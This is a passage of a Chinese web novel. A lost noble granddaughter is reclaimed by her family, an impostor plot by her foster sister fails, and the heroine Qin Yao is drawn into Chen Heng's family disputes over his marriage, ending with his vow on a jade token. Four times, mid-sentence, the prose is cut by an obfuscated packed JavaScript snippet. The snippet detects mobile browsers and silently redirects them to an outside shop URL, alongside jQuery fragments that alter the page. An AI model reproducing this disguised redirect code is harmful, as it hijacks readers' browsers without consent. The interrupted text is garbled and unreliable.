这府中虽未有年轻女主人打理,秦馠暂且算是侯府的恩人,可今日之事却给老太君敲响了一记警钟。 她可以允许这位恩人住在府里,若人绣工出色,也可养着她,帮着介绍给其他府邸,但她若想插手侯府的事,是绝不被允许! 老太君坐在久未来过的正厅里,一眼望向大门,望眼欲穿。 秦馠和陈母也坐在她下方左手边,有一口没一口的饮着茶,陈母还算悠闲自若,秦馠早紧张地口干舌燥。 大门终于开了,一个端庄大方的小娘子,牵着个十来岁的小女孩,出现在众人面前。 老太君几次想站起来,被身边大丫鬟悄悄提醒:“老太君稍安,万一不是小姐,此举岂不是闹了笑话?” 等人好不容易进来了,那小的却往地上一跪,朝她结结实实的拜了个大礼。 娇娇瓮声瓮气趴在地上:“孙女见过祖母!” 老太君探着身子,左瞧瞧右瞧瞧,急道:“你快抬起头来!” 娇娇在众人的期盼中,抬起了头。 两人四目相对,老太君差点跳了起来! 还说这不是左家孩子,明明就、明明就像得很! 她本就不怀疑门房的眼力,如此一看,更加确定了,紧接着整个人都颤抖了起来! “我的好孙女……”还未说话,两行清泪却流了下来。 多少年了,娇娇小时候的样貌一直印在她心里,从未忘记过,眼前这孩子虽个头高了,五官却还是小时候的模样。 她顿时泣不成声,连之前想问的话都说不出来。 秦瑶给娇娇递了个眼色。 娇娇怯怯的站了起来,走了过去:“祖母。” 老太君一把将她搂在怀中,嚎啕大哭。 众人见这场面不由泪洒当场,皆抬起袖子擦了擦眼角的泪。 只有秦馠不合时宜的站了出来:“老太君先别急着认下,应先问一问情况才是!” 眼看老太君哭的不能自已,她身边的大丫鬟只得红着眼睛,朝秦瑶问道:“请问这位小娘子是?” “她是我同乡,是个坑蒙拐骗的骗子!”秦馠抢先道,“此人在江城把全城百姓骗得团团转,闹得江城大乱,想必各位也听说了……” “我娘不是骗子!”娇娇在老太君怀里突然喊道。 老太君立刻哭喊道:“你给我闭嘴!” 秦馠只得幽怨的看了秦瑶一眼,又坐了回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14144404|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 秦瑶道:“我姓秦,与这位秦馠姑娘同姓。当年她才三岁,父母亲人皆亡于饥荒,我在死人堆捡到了她,给她取了姓名,悉心将她养大,那年上元节,我们到城里看热闹,见到了从人贩子手中逃出来的娇娇……” 她三言两语将事情清楚描述出原貌。 老太君缓缓止住了哭泣,边听边点头:“对,当年娇娇五岁,府里已给她请了女塾师,她会写自己的姓名……” “那你为何不在当年,捡到我们小姐时,就送她回来?”老太君身边的大丫鬟问。 秦瑶苦笑:“我们是穷苦人家,哪有财力上路,所以这几年好不容易积攒够了银钱,便立刻带着娇娇来京城寻亲了。” “这么说来,这位秦瑶小娘子……姑娘才是我们侯府的恩人?”丫鬟听她两个女儿都是捡来的,怕是她还未嫁过人,遂改了口。 众人将目光投向秦馠。 秦馠已有些慌乱,额上渗出细密的汗,她咽了下干燥的喉咙,道:“没错,她讲的是有部分事实,可也有隐瞒部分!” 秦瑶泰然自若的笑了:“那你说说,我哪里隐瞒了?” “你是收养了我们,我也一直把娇娇当妹妹看待!”她仰起头,扫视众人,“可大家有所不知,这位养母对待我和娇娇却狠毒刻薄,她让我小小年纪到绣坊学做绣娘,又让娇娇去学琴技,以后好被当作风月场所的头牌!我们都是她赚钱的工具!” “所以这次娇娇死活不愿跟她来京城,我只好待她走后,也悄悄来了京城,提前到侯府报信!真正的娇娇还留在江城呢!” 众人倒吸了一口凉气,看秦瑶的眼神霎时变了变。 这养母可真够狠的! 老太君却不糊涂,她又看了看孙女那张小脸,抬起袖子擦了擦眼泪,正襟危坐道:“怕不是你弄错了?这个才是我孙女!” 此话一出,陈母的脸色也变得极为难看。 老太君这么快就认下孙女,难不成这女孩真是左府的小姐? “待真正的娇娇从江城回来,一切不就水落石出?”秦馠道。 然而老太君却掏出娇娇脖子上戴的红绳,将那块玉拿了出来:“不必了,这就是我孙女。娇娇,你还记得祖母跟你讲过这块玉吗?” 娇娇点了点头,已是不再胆怯:“祖母自小就在我耳边不停交代,除了沐浴,其他时候都不能取下来!” 她虽不记得亲人的模样,可那熟悉的声音却深深印在脑海里。 老太君慈爱的摸了摸她的头,厉目转向秦馠:“你敢肯定,你带来的女孩能记得从前,我与娇娇相处的点点滴滴?” 秦馠脸色一白。 “若你今日老实交代,我便放你一条生路!”老太君厉声道,“若你还想隐瞒,来我们侯府行骗,下场你是知道的!” 秦馠一哆嗦,整个人跪了下去。 “娇娇,救救我,我是你姐姐!”她朝娇娇喊道,“我对你从未有过坏心思!从小到大,什么好的都先留给你,你都忘了?” 她迄今为止的所有行为,都只针对的秦瑶。 57. 侯府报恩 秦馠所有的怨恨,都只朝秦瑶发泄。 只是这次却不同,她找人冒充娇娇,若真成了,便夺走了娇娇原有的命运。 “老太君,我说的句句属实!”她指着秦瑶,恶狠狠道,“她虽为我们养母,可我与娇娇的确被她当作摇钱树,不信你问娇娇!” 老太君看向小孙女:“是吗?别怕,有祖母给你撑腰,你尽可大胆说出来。” 左娇娇摇了摇头:“大姐,为什么你总说娘是害我们?她让你去学做绣娘,不正是想让你有一技之长,将来能养活自己?” “她有这么好心?”秦馠不屑反问,可是她又想起娇娇没有重生,根本不知道未来会发生什么,这些事统统无法证实。 娇娇看她如此冥顽不灵,只得转向祖母:“祖母,娘……她已经很辛苦了,原本她一个人可以轻轻松松的,自从养了我们两个,她每日都得进城做活,赚了钱还送我们去学艺。在江城,有好多人家的女儿,待长大了父母便将她许个人家,根本不会想让女儿去学些东西。” 老太君听了,露出满意的笑容,不愧是左家的女儿,能自己思考,轻易不会被蒙骗。 “秦姑娘。”她看向秦瑶,目光中已不见严厉,“从今日起,你就是我左家的恩人,我们左家向来有恩必报!你若有诉求,或者想要的东西,尽可告知我老婆子。至于这位——” 她将目光投向秦馠,“如何处置,由你做主。” 秦瑶朝老太君福了一礼,恭敬道:“既然此事与娇娇有关,那便由她处置。” 众人皆看向娇娇,想看看这位新认下的左家小姐,会如何了解此事。 娇娇想着方才秦馠说的话。 她们两人自小在一起,秦馠作为姐姐,对她照顾有加,有什么好吃的都先给她吃,若邻里有孩子欺负她,秦馠也会帮她欺负回去。 她对这位姐姐,始终恨不起来。 秦馠也同样看着她,眼含泪水。 她不想对妹妹下手,可妒忌让自己冲昏了头脑,一想到不久的将来,娇娇摇身一变成了侯府尊贵的小姐,她便忍不住想要夺了这一切…… “既然没酿成大错,我也顺利回了家……”娇娇别过头去,不愿看她,“你走吧。” “就如此轻易放过她?”老太君再问。 左家的人,向来有恩报恩,有仇报仇,若就此放过,任人随意欺负却不用承担任何后果,想必之后其他人会更肆无忌惮。 她此时恨不得替孙女将此人绑了,交给官府。 娇娇却摇了摇头,道:“祖母,此事不是我软弱可欺,只是我向来只看结果。若今日她抢走了我的一切,我定加倍报复回去……得饶人处且饶人。” 她又对秦馠道:“我今日也只当还了你的恩情,从此以后,我们再无瓜葛。” 秦馠闭了闭眼,深吸了一口气:“娇娇,我会记得今日你这份恩情的。” “映莲,送客。”老太君吩咐身边丫鬟。 陈母见状也起了身:“老太君见谅,我也在府中叨扰几个时辰了,该回去了。” 老太君冷冷朝她扫了一眼:“往后这位秦姑娘就是我们侯府的恩人,若让我再听到外头谁编排她,也别怪我老太婆脾气不好!” 陈母尴尬笑了笑:“改明儿陈府定备上厚礼,恭祝侯府找回嫡小姐。” 随后她与秦馠前后脚离开了。 盯着秦馠的背影,陈母不禁怨起她来,都怪此人信誓旦旦,让自己信了那一大一小就是骗子,原想可以看场笑话,没想到自己倒成了笑话! 特别是老太君最后同她说的那句话,叫她差点寻个地缝钻进去! 两人到了大门口,秦馠凑了个笑脸,想上前与她话别,不料陈母竟只当没看见,撇过脸上了马车,将人晾在原地。 秦馠的笑容僵在脸上。 “夫人!”她朝马车里喊道,“我有法子让秦瑶离开陈公子!” * 侯府里则是另一番景象。 老太君给秦瑶赐了座,又让人去叫家中几个小辈,来见娇娇。 “我们府里长房有三个姐儿,一个比娇娇大五岁,已到了出嫁年纪,一个比娇娇大三岁,还有个小的只比娇娇大一岁。”她介绍着府里的情况,叹起气来,“娇娇还有个亲哥哥,唉!” 侯府的状况秦瑶上一世就已听说过,所以只竖了个耳朵听着,心思早已不在此了。 直到老太君问:“不知秦姑娘如今住在何处,我们府里人丁也不旺盛,宽敞的很,且娇娇还不愿离开你,不如在此住下?” 秦瑶起身,摇了摇头:“回老太君,既然她已回家,就该认祖归宗……她有亲娘,我这个娘不作数的。” “是该改口了。”老太君对于她懂得分寸这点十分满意,“秦姑娘还是个黄花闺女,若整日被人唤作娘亲,也容易惹人误会。” “不如叫干娘?”娇娇道。 老太君缓缓摇头:“这也不好,听起来还是像嫁了人的妇人……不如我认了你作干女儿如何?” 老太君这一辈子只生了两个儿子,还不知有个女儿是何感受,她早想认个干女儿。 “这个好!”娇娇拍手笑道,“以后我就管娘叫——小姑姑!” “如何?”老太君期盼的望着她。 事情来得突然,秦瑶六神无主起来,不知自己一介平民,被侯府认作干女儿,是否合乎规矩。 若陈衡在,也可问问他…… 老太君似看穿了她的心思,宽慰道:“你也不用紧张,你替我们侯府养了娇娇这么多年,我认你做个干女儿是应该的,任谁都说不出不好来。” “是啊姑娘。”老太君的丫鬟也劝道,“我们老太君膝下无女,早想认个女儿了!再者说,这各个勋贵人家,哪家没认个干女儿干儿子的,实属正常,姑娘千万不要忧心。” 再推脱,便显得秦瑶自己端着了。 于是她道:“那我便恭敬不如从命。” “好好好!往后你就是我的干女儿,我叫你瑶儿可好?”老太君笑道,“过几日府里给娇娇办个归家宴,正好也跟其他人宣布一下此事,双喜临门!” 说着她便让身边丫鬟们去收拾个院子出来,给秦瑶住。 “老太君的好意我心领了。”秦瑶拒绝,“我在京城还有其他事要做,住在侯府不太方便,娇娇已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151177|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有家人陪伴,我也可放心了。” 娇娇也道:“小姑姑尽管去忙自己的事。” 她对侯府的陌生感已消散殆尽,幼时的记忆逐渐浮现,这儿是她的家,她自小生长的地方。 一切都熟悉了起来,所以她不需秦瑶陪伴。 “不知接下来瑶儿要做什么事?侯府必鼎力相助。”老太君问。 秦瑶也不能抱着那堆钱财坐吃山空,她亦想自己闯出一片天地,可如今初来乍到杂事又未解决,一时还未想好做什么。 她只好先谢过老太君的好意。 正说着,侯府的三位小姐来了。 上一世秦瑶是无缘见这三位的,在她心里侯府的小姐们与娇娇一定是相差无几。 然而今日一见却颇为惊讶,她们全身上下各处,连发髻上留的一点碎发,都像是精心摆设过的,纵使走路时有微风拂过,也只小小摆动一下。 原来这才是贵女。 她们笑不露齿,就是这久别重逢的场景,几人明显有些激动,虽眼眶里憋着泪水,也只是冲娇娇微微点头。 相比之下,娇娇活泼的多。 她凑上前去看了看三人,笑道:“让我来猜一猜,你是我大姐姐宝虫,你是我二姐姐玉奴,你是我三姐姐赛赛!” 她叫得都是小名,听得秦瑶一头雾水,侯府起名如此不讲究吗? 这么看来,“娇娇”此名还算不错。 那三位倒是惊喜:“你都还记得!” 老太君不免笑道:“都五岁了有什么记不得的?” 她见自己那位嫡孙迟迟未到,又问下人,“狗郎人呢?他不是从小就嚷着要跑出去找他妹子,如今人回来了,他倒是迟迟不出来!” 听到“狗郎”,秦瑶一口茶差点喷出来,这才反应过来,那几个名字全是小名。 她突然对几人的大名非常感兴趣,不知娇娇是否也另有个正式的名字。 有一下人回道:“大爷今早入宫伴读,到现在还未回来。” “瞧我这记性,这事都能忘了。”老太君又问起娇娇这几年都学了些什么,听她又会画又会琴的,十分满意。 接着又让三位小姐正式拜见了秦瑶,此事才算完。 眼看着就要日落,一家人该用晚饭了,秦瑶起身告辞。 这时一下人进来禀告:“老太君,府外来了一位陈公子,说是要等秦姑娘。” 老太君眼睛一转,问道:“哪位陈公子?” 秦瑶忙解释:“是陈家方才那位夫人的公子,我就是跟他来的京城。” “是他?”老太君叮嘱道,“他那母亲是个糊涂的,你若跟了他往后免不了受婆婆的气,不如我再替你找户合适人家?” 她这一席话俨然已把秦瑶当成自己女儿了。 秦瑶脸通红:“让干娘劳心了,我与他没什么关系,府里这几位姐儿还要让干娘费心,我年岁已大,再等等也不急的。” “好吧,原本我还想留你用饭,既然陈公子来找你,就先跟他去吧!”老太君道。 秦瑶如蒙大赦,忙告辞出了府。 府外陈衡正等着她,盯着大门望眼欲穿。 58. 借事联姻 夕阳照在陈衡身上,给他全身镀了一层红光。 秦瑶仔细看去,才发觉他眸中鲜红,似有一股愤怒正被他死死压制住。 “听闻我娘今日来过?”他道,声音波澜不惊。 原来他是来找陈母。 秦瑶的心失落了一下,瞥了他一眼,转身上马车:“她早回去了。” 下一刻她手腕一疼,被陈衡大力扯了过去:“跟我走。” “等等!”门房老丈见状跑下台阶,开口阻止,“秦姑娘已被我们老太君认作干女儿,也就是我们侯府的姑娘,还望公子谨慎行事!” 那马车上坐着的车夫也跳了下来:“还没给钱呢,就想跑?” 陈衡回过头来看着秦瑶:“我竟不知,阿瑶好大的本事!” 秦瑶借机甩开他的手:“你要带我去做什么说清楚!不分青红皂白就想拉我走?” 她看出他生气,隐隐猜到与陈母有关。 这妇人今日在侯府没少丢人,一定是她回去后跟她儿子翻了什么闲话。 陈衡解下腰间钱袋,扔给车夫:“还不快走!” 车夫得了钱,也不再拖延,扭头赶马离开。 “是在下唐突了。”陈衡向老丈作揖,道,“还请侯府准许在下借你家姑娘一用。” 秦瑶听他已是忍到极点,忙对门房说:“请老丈放心回去,我们相熟,无事的。” “那姑娘自己小心,若有事尽管通知侯府。”门房嘱咐了一句,不再多问。 “走吧。”秦瑶瞪了他一眼,迈开步子。 不就是去陈家,向他母亲赔罪?她倒要看看陈母到底说了什么。 陈衡是骑马一人前来,他牵着马默默跟在秦瑶身后,不知在想些什么。 所幸两家离得不算太远,眼看马上就要到陈府,陈衡才将事情道出:“听说今日我母亲得罪了侯府,我那两位舅母正对她发难。” “这与我有什么关系?”秦瑶自嘲道,“难不成我真有那么大本事,让她得罪老太君?” “方才是我不对。”身后传来他充满歉意的声音,“只因此事,舅父舅母要她立刻找个人家嫁了,不然就要赶她走。” 秦瑶停下脚步,转身蹙眉,已察觉到此事不一般了。 “恐怕你舅父他们的目的不是赶她走,而是借此事要拿她当棋子。”她道。 陈衡沉声道:“阿瑶所料不差,朝中大臣续弦的并不少,舅母曾多次提过要母亲再嫁……只是哪有那么容易,稍富贵些的人家再娶也是找未嫁过人的姑娘,若有人有心联姻,舅父早答应了。” “所以他们如今再提,为的是要你母亲离开陈府?”秦瑶不明。 只见陈衡摇了摇头,缓缓道:“他们见母亲无大用处,今日正巧借了此缘由,要我代母亲做棋子。” “他们想插手你的婚事?”秦瑶愣在原地。 所以他气冲冲的要自己去陈府做何? 一种不好的预感涌上心头。 “今日你也在侯府,见我娘口无遮拦,也不知维护她一番,害她得罪了侯府,被舅父舅母抓住此事大做文章。”陈衡转念道,“始作俑者是你,你得跟我回去,帮我挡了这一灾。” “如何挡灾?”她问。 陈衡无奈摇头,叹了口气道:“从此以后你我也不必假扮夫妻……明日起,全京城都会知道,你就是我娘子。” 秦瑶突然觉得自己落入了一个圈套。 “你要拿我,来堵住陈家插手你的婚事?” 她稍微一思索,便知若将两人关系呈给陈家,自己从此后也会成了他真正的妻室,再无转圜余地了。 不成!若真要嫁,也得堂堂正正的让他求娶,怎能如此潦草就将自己交待了? 陈衡挑眉:“怎么,你不愿意?” “我可以帮你解决此事。”她挺起胸膛,“可若让我不明不白的就嫁了人,你想都别想!” 他垂眸,嘴角似笑非笑,到了府中,便由不得她了。 两人各怀心思,进了陈府。 华灯初上,陈府也不例外,灯火通明。 正厅前的屋檐下站满了人,被围在正中间的,正是陈母。 “你在家中这么多年,凭心而论,哥嫂们哪一点亏待你了?家里是盛不下你了,出去到处给我惹祸!你、你还是趁早找人嫁了!” 说话的男子一身红色官袍都还未来得及换下,此人正是陈衡的二舅父陈衍,官至五品光禄寺少卿。 他身旁站着一紫色官袍中年男子,定是翰林院掌院学士大舅父陈恭了。 陈母委屈为自己辩解道:“你问问我那两位好嫂嫂,前几日我出门,家里连个马车都不给,还要我自己出钱租了辆马车!你们是没亏待我,可背地里你们的妹子受了嫂嫂多少委屈,你们是不知道!想让我嫁人大可直说,别拿着其他的说事!” “哼,这就是你妹子!”说话的是二嫂王氏,她身材瘦小,说话做事颇显娇气,“她一个月五两银子,家里何时缺过她东西,就连丫鬟婆子也是配齐了人手,她这样污蔑我与嫂嫂,你也不管管!” 陈衍听了娘子抱怨,不耐烦冲他妹子道:“成,我就是想让你赶紧嫁人,你不瞧瞧哪家姑奶奶跟你一样,守寡了还窝在自己娘家!” 陈恭远远看到自己外甥回来了,忙把声音提高:“不是哥哥非赶你走,今日你得罪了侯府,你也知道左家在军中威望颇高,得罪了他家就是得罪朝中一众武将,若你能找个武将嫁了,也算为陈家避祸。” 陈衡与秦瑶远远听着,原来这陈家已有了合适人选了。 “说得轻巧!”陈母冷笑道,“哪个武将,你们倒是说说,让我也见识一番,哪个武将续弦愿意找我这种人老珠黄的寡妇!” “目前是无什么合适人选……”陈恭看向自己的妻子梁氏。 梁氏身材高大,正是武将之家出身,她接过话道:“虽然没合适男子,梁家我那侄女倒是已到了适婚年纪。” 此刻陈衡也到了,他立在母亲身边,谁都没注意到他身后还跟了一个女子。 “听说兵部尚书家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14168129|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的女儿也到了年纪,正四处物色,前段时日还打听到我们府上。”二嫂王氏小声提醒。 陈母愣了愣。 她没想到事情转变如此之快,原是哥嫂们借得罪侯府这事,逼她嫁人,谁知转眼便将主意打到她儿子身上了。 她正愁儿子的婚事,听到梁家与兵部尚书家皆有此意,适才的委屈愤怒瞬间烟消云散。 “这……闹了半天,你们是想给衡儿结门亲事?”她瞪圆了眼,望着兄嫂,“你们不早说!” 两位哥哥向来知道自己妹妹的脾气秉性,只是碍于外甥,才不得已拿今日侯府之事借个由头。 见一切顺理成章,陈恭清了清嗓子,严肃道:“衡儿觉得如何?” 方才的一切他都讲得很清楚了,陈母得罪了侯府,陈家需找个有兵权的家族联姻,既然陈母没合适人选,这事自然落到了她儿子身上。 陈衡向舅舅一揖,恭敬道:“陈家养育我多年,为母亲倚靠多年,能为陈家分忧是我义不容辞之事,只是……” 他向身侧挪了一步,将身后女子暴露众人眼前。 “我已成婚,若让梁家姑娘与兵部尚书的女儿做我妾室,怕是不合适?” 此话一出,众人哗然。 “你何时成婚了?”陈衍盯着突然出现的秦瑶,目瞪口呆,“我们怎么都不知道?” “衡儿休要胡说!你成婚这么大的事,怎么连我们都不知道!”陈恭也急忙道。 陈母更是激动的结巴起来:“别、别听他、他瞎说!这女子我见过,是、是他养的外室!” “只怪外甥回京后没第一时间跟娘和舅舅说清楚,我们是在江城沈家结的亲。”陈衡道。 两位舅舅脸色一白,是啊,说到底他是沈家的人,若沈家真为他说亲,作为舅舅也是不好插手的。 “这沈家也是不知礼数,怎么不写信告知一声!”陈衍嘀咕,觉得此事蹊跷。 “那……有何证明啊?”陈恭纵横官场多年,也不是容易骗的,很快就想到这茬。 陈衡早有准备,朝人群中的予安递了个眼神:“还不速将婚书拿来,给舅父过目?” 秦瑶哪容得下事情如此发展,她往前一步,道:“两位大人,可否容小女子在此为自己辩解一二?” 不等两位开口,陈母先骂道:“呸!一个外室还想登堂入室?说,你是如何骗得我儿将婚书都给备好了!不是说是假的吗?你就这样诓骗我们陈家!” “我既不是外室,也不是正室娘子!”秦瑶不由冲她道,“我不妨现在就告诉你,告诉你们陈家,如今我是侯府老太君亲自认下的干女儿,什么得罪侯府,不过是我一句话的事!” 陈母被如此一呛,想到离开侯府时老太君的警示,不由脸色一暗。 陈家兄嫂几个则听得云里雾里,不知该信谁了。 “你的意思是,你与衡儿毫无关系?”陈衍大喜。 陈衡已是脸色铁青。 予安望着他,怯怯道:“公子,这婚书——还拿不拿了?” 59. 玉牌为誓 这份婚书做不得数,陈母是知道的。 只听她大吼一声:“逆子你敢!若你今日将婚书拿出来,别怪你娘我大义灭亲,把你伪造文书一事告至京兆府!” 此等家丑,陈家兄嫂是断然不允许发生的。 也不管事情真相如何,大舅母梁氏急忙对小姑子转了态度,笑盈盈走下台阶,到陈母身边挽住她的手。 她劝道:“孩子不懂事,咱们做大人的悉心教导便是,也不至于闹到官府。” 陈恭也道:“衡儿不是那出格的公子哥,他办事可靠,人又沉稳,不然东宫也不会如此看重他,想必那什么婚书也是一时情急,当不得真。” “衡儿,你说是不是啊?”二舅陈衍朝外甥挤眉弄眼。 谁料一向懂得变通的陈衡此时却固执起来。 他向几位长辈郑重弯腰拱手,道:“让舅父与母亲失望了,婚书的确是真的,梁家小姐我不会娶,兵部尚书家也绝无可能!” “你——”陈恭气的结巴,“你、你真在江城沈家成亲了?” 不等陈衡回话,秦瑶先打断了他:“没想到陈公子也有攀附权势的时候,莫不是方才听到我已被认作侯府的小姐,所以想假戏真做,与侯府结亲?” 她冷笑着,目光扫过众人,“毕竟侯爷此刻正在边关带兵,与侯府结亲可比什么梁家武将、兵部尚书强多了!” 她此话不假,众人顿时陷入了沉思。 侯府人丁不旺,多少人想与其结亲,却苦于没有机会。 长房倒是有三位小姐,两位都已到了适婚年纪,可惜婚事早已被暗中定下,大姐儿是进宫的命,二姐儿则是未来的王妃。 这高枝不好攀啊! 如今突然跳出来个老太君亲认的干女儿,有老太君作保,这身世一定清白。 况且干女儿又不是嫡亲的,皇室自然看不上。 想与侯府结亲的人家机会来了! 只是这梁家还在等着呢,陈恭看了看正妻梁氏,欲言又止。 陈衍则毫无顾忌,劝道:“我看既然事情已成了这幅样子,真的也好假的也罢,不如就将错就错!至于成婚的流程,大不了再来一遍,明天我就亲自到侯府去为外甥提亲!” “不成!”陈母伸手护住陈衡,道,“你们都失心疯了?她只是一个侯府干亲,凭什么让我儿娶她?我那侄子们个个不争气,连个仕途都混不上,如今咱陈家的将来可全指望我儿!你们做舅舅的,不说给他找个皇室的公主、郡主,就是世家女儿也能助他一臂之力!娶个侯府干亲算个什么事!” “妹妹!”陈衍对她这个妹子颇为头疼,“那些个未嫁的公主郡主最大的还不过十岁,哪有合适人选?世家,你说得轻巧,他们全是圣上的眼中钉,你若敢让衡儿娶世家女子为妻,我们陈家就选了圣上的对立面,你这是在断送陈家的前程!” “那……那就找个清流小官家的女儿!”陈母自有她的打算,低娶的儿媳妇必不敢在婆婆面前造次,更好拿捏。 “得,妇人之见!”陈衍不耐烦看向外甥,“衡儿你自己拿主意!” 陈衡听他们说自己的婚事,像在谈一场交易,无论如何都得有利可得才肯罢休,不由心烦意乱。 他看向秦瑶,又见她正冷眼看着这一切,嘴角似有一抹讥笑。 “我已多次表明心意,你们全当看不到?”他当即下了决心,“母亲明鉴,儿愿与侯府结亲!” 她笑他攀附权势又如何?总比在陈家受人控制得好。 “你要忤逆母亲?”陈母不敢置信。 她儿子一向在她面前懂事孝顺! “好好好!”她忍住怒气,“娘知道你喜欢她,娘也不是那棒打鸳鸯之人!你把她安生收在身边,或养在外边都成!娘以后绝不反对!只要你好好找个正室娘子,成吗?娘这儿就有个不错的人选……” 她已物色了几年,好不容易挑中了李御史家的女儿。 此女她在宴席上见过几次,是众多姑娘中最恭顺温柔,话最少的一位,这样的姑娘若娶回了家,想必侍奉公婆不在话下,更不会时时忤逆,让自己三天两头难受生气。 不等陈母说完,身边正挽着她胳膊的梁氏一把甩开手,打断道:“好啊,原来你心中早有人选,放眼京城我们梁家女儿比谁差了?你放着亲上加亲不选,非要选个外人做你儿媳妇!” 陈恭也跟着娘子道:“妹妹愚蠢!你敢让侯府的人做小,岂不是更把侯府得罪死死的!若是如此,干脆别和侯府扯上一丁点关系!就选梁家!” 陈母瞥了梁氏一眼,嘲讽起哥哥:“武将家的女儿都威风,这么多年你吃了多少亏?再让我儿娶一个,这陈家岂不闹翻天了!” “你再说一遍!”梁氏挽起袖子就要动手。 “你看,我说什么来着?”陈母忙退后两步,“你瞧瞧我二嫂,规规矩矩的站了这么久,多说过一句话?那才是大家闺秀!难怪我二哥二嫂恩爱,不像长房三天两头吵闹!” 这番话正戳梁氏的心窝子,她一想到动手就坐实了陈母的话,索性硬生生收回了拳头。 陈恭一言不发,陈衍更是尴尬的拉住自己娘子,往远处退了退。 终于众人是吵不下去了。 陈衡站出来冷笑道:“我就先告辞了,等你们论出个结果来,再通知我也不迟!” “你去哪儿?”陈母伸手抓他袖子,却扑了个空。 陈衡扯了秦瑶转身就走:“不劳母亲费心,怎么,我连这点自由都没有?” 那语气已是极克制了。 陈母头一回见儿子如此,心里害怕,也不敢再逼迫他,只得眼睁睁看着他走了。 黑夜笼罩着这座府邸,出了大门,秦瑶回头望去,只觉得它像一个沉默的怪物,将所有人都吞噬了进去。 整个玉带巷连绵起伏的高檐屋顶,在黑暗中庄严肃穆,每家门前昏暗的红灯笼映得巷子里影影绰绰,平添一份不可言说的悲壮。 若这里的妇人都是如此过活,她宁可孤独终老。 走出玉带巷,街上又是一番轻松热闹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175094|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,各种叫卖声不绝于耳,还有孩童在人群中钻来钻去,十分快活。 两人明显都松了一口气。 陈衡望着秦瑶,她的侧脸被街边灯笼照得发红,整个人瞬间生动起来,原本那股怒气仿佛已消失的无影无踪。 他小心翼翼道:“今日之事,你觉得如何?” 秦瑶瞥了他一眼,没好气道:“什么事?要我做你外室?” “……我以为我们一直以来配合的不错。”他顿了顿,“你也见到了,我在陈府实则身不由己,舅父仁厚,这几年并未亏待我们母子,若要我报恩为陈家效力,我自是义不容辞……” “只是如今你舅父们想用你的婚事,去换取陈家未来的前程,你不愿意。”秦瑶替他道出实情。 “正是。”陈衡垂下眼眸,不敢再看她,“可否请阿瑶再助我一臂之力?” 秦瑶往前走,将所有抛诸脑后。 事到如今她亦不愿再委屈自己,与他有所牵扯。 江城之事已远去,剩下的该是他们朝堂上的事,两人从此以后做个朋友,或形同陌路,都好。 她走着走着,忽闻路边摊一阵桂花香直窜入鼻,原来是摊主正在蒸桂花糕。 她驻足不前,看着摊主掀开蒸笼盖子,那冒着热气的糕点呈现在眼前,是浅黄色的花朵状,表皮亮晶晶的。 “老板来一份!”有个孩童伸手将几文钱递出。 “我也要一份!”摊前的人纷纷出钱购买。 陈衡看她眼睛发亮,也向老板喊道:“我也来一份。” 老板抬起眼皮看了两人一眼:“三文钱六只!” 说罢已将六只糕点包进油纸包里,递给秦瑶。 陈衡往腰间摸去,才发现自己的钱袋早已在之前连同袋子扔给了车夫,替秦瑶付了马车钱。 他一时尴尬愣在原地。 秦瑶见他也有如此狼狈之时,不由“扑哧”笑了出来,把钱付了。 “你也看到了,我如今什么也不缺,自己能养活自己。”她忍住笑,“说说吧,这次若帮了你有什么好处?若好处不大,我可懒得费劲。” 两人并排走在街上,脚步放慢。 陈衡听她松了口,便知事情有戏,于是整个人终于放松下来:“金银珠宝,锦衣玉食,只要阿瑶想要,我必想尽办法满足。” 她摇了摇头:“我对这些没兴趣。” 重活一世,当人生中那些不甘、后悔被一步步修正后,这世间所有都变得索然无味。 正如此想着,她抱着油纸包的臂弯一空,桂花糕瞬间到了陈衡手里。 “你抢我吃的做什么!”她恼怒道,伸手就要抢回来,手中却突然被他塞进一块凉凉的东西。 低头一看,是他腰间的玉牌。 “今日我就以这玉牌为誓。”街上吵嚷,给了陈衡莫大的勇气,“今生我必娶阿瑶为妻。” 